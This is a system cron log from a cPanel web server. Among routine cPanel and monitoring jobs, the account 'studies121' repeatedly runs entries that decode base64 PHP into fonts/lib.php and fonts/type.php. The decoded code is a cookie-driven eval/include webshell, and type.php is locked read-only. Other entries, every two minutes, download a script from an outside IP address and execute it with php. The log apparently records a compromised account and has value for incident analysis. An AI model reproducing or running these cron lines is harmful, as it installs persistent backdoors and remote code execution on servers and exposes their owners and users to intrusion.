Sep  5 04:20:01 ip-184-168-122-23 CROND[6564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:20:01 ip-184-168-122-23 CROND[6568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:20:01 ip-184-168-122-23 CROND[6569]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:21:01 ip-184-168-122-23 CROND[6691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:21:01 ip-184-168-122-23 CROND[6690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:21:01 ip-184-168-122-23 CROND[6692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:21:01 ip-184-168-122-23 CROND[6693]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:22:01 ip-184-168-122-23 CROND[6811]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:22:01 ip-184-168-122-23 CROND[6812]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:22:01 ip-184-168-122-23 CROND[6809]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:22:01 ip-184-168-122-23 CROND[6810]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:22:01 ip-184-168-122-23 CROND[6813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:23:02 ip-184-168-122-23 CROND[6923]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:23:02 ip-184-168-122-23 CROND[6925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:23:02 ip-184-168-122-23 CROND[6927]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:23:02 ip-184-168-122-23 CROND[6926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:24:01 ip-184-168-122-23 CROND[7006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:24:02 ip-184-168-122-23 CROND[7005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:24:02 ip-184-168-122-23 CROND[7003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:24:02 ip-184-168-122-23 CROND[7004]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:24:02 ip-184-168-122-23 CROND[7007]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:25:01 ip-184-168-122-23 CROND[7189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:25:01 ip-184-168-122-23 CROND[7192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:25:01 ip-184-168-122-23 CROND[7191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:25:01 ip-184-168-122-23 CROND[7194]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 04:25:01 ip-184-168-122-23 CROND[7193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:25:01 ip-184-168-122-23 CROND[7195]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  5 04:25:01 ip-184-168-122-23 CROND[7196]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:26:01 ip-184-168-122-23 CROND[7298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:26:01 ip-184-168-122-23 CROND[7301]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:26:01 ip-184-168-122-23 CROND[7300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:26:01 ip-184-168-122-23 CROND[7302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:26:01 ip-184-168-122-23 CROND[7303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:27:01 ip-184-168-122-23 CROND[7400]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:27:01 ip-184-168-122-23 CROND[7402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:27:01 ip-184-168-122-23 CROND[7403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:27:01 ip-184-168-122-23 CROND[7404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:28:01 ip-184-168-122-23 CROND[7484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:28:01 ip-184-168-122-23 CROND[7486]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:28:01 ip-184-168-122-23 CROND[7488]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:28:01 ip-184-168-122-23 CROND[7485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:28:01 ip-184-168-122-23 CROND[7487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:29:01 ip-184-168-122-23 CROND[7582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:29:01 ip-184-168-122-23 CROND[7583]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:29:01 ip-184-168-122-23 CROND[7581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:29:01 ip-184-168-122-23 CROND[7584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:30:01 ip-184-168-122-23 CROND[7783]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep  5 04:30:01 ip-184-168-122-23 CROND[7779]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 04:30:01 ip-184-168-122-23 CROND[7786]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 04:30:01 ip-184-168-122-23 CROND[7787]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 04:30:01 ip-184-168-122-23 CROND[7780]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:30:01 ip-184-168-122-23 CROND[7788]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:30:01 ip-184-168-122-23 CROND[7789]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:30:01 ip-184-168-122-23 CROND[7781]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 04:30:01 ip-184-168-122-23 CROND[7782]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:30:01 ip-184-168-122-23 CROND[7790]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Sep  5 04:31:01 ip-184-168-122-23 CROND[7919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 04:31:01 ip-184-168-122-23 CROND[7921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 04:31:01 ip-184-168-122-23 CROND[7920]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:31:01 ip-184-168-122-23 CROND[7923]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 04:31:01 ip-184-168-122-23 CROND[7922]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 04:32:01 ip-184-168-122-23 CROND[8046]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 04:32:01 ip-184-168-122-23 CROND[8048]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
